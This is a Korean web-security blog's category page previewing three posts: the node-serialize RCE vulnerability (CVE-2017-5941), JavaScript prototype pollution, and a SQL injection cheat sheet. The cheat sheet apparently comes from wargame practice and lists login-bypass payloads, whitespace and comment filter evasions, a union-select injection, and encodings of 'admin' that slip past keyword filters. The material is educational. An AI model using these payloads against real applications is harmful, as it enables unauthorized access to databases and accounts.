본문 바로가기

Web Security/Technology

(3)
[CVE-2017-5941] node-serialize [CVE-2017-5941][1] Node.js에 node-serialize 라이브러리에서 발견된 취약점으로 RCE(Remote Code Execution) 공격이 가능합니다. node-serialize: 0.0.4 버전에서 취약점이 발견되었으며, 현재까지도 패치되지 않은 것으로 알려져 있습니다. Serialization 일부 객체를 나중에 복원할 수 있는 데이터 형식으로 변환하는 과정입니다.[2] 이를 사람들은 객체를 저장소에 저장하거나 통신의 일부로 보내기 위해 객체를 직렬화하는 경우가 많습니다. Deserialization 해당 프로세스의 역순으로 일부 형식에서 구조화된 데이터를 가져와 객체로 재구성합니다. [2] 오늘날 데이터 직렬화에 가장 많이 사용되는 데이터 형식은 JSON이며, 예전에는 XM..
Prototype Pollution Object oriented Language : JavaScript JavaScript는 Java, Python과 같이 객체지향언어지만, 클래스(class)라는 개념이 없습니다. 대신에 기존의 객체를 복사하여 객체를 생성하는 프로토타입(prototype)을 제공합니다. 따라서, JavaScript는 프로토타입 기반의 언어입니다. Prototype JavaScript의 모든 객체는 최소한 하나 이상의 다른 객체로부터 속성(property)과 메서드(method)를 상속(inheritanc)을 받으며, 상속되는 정보를 제공하는 객체를 프로토타입(prototype)이라고 합니다. [1] 단, Object.prototype 객체는 전역 범위를 가진 Root Prototype로 어떠한 프로토타입(prototype..
Cheat Sheet - SQL Injection 1. 기본 ' or 1=1 # ' or '1'='1 2. 공백 필터링 (old-18) /**/ (주석) () (괄호) + (더하기) %09 (\t) %0a (\n) 3. 주석 (old-50) -- # /**/ 예제) 공백 필터 및 md5 주석 처리 select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}') select lv from chall50 where id=''/*' and pw=md5('*/union/**/select/**/3#') 4. admin 문자열 필터링 (old-45) reverse("nimda") 0x61646d696e char(97, 100, 109, 105, 110) 0b01100001011001000110..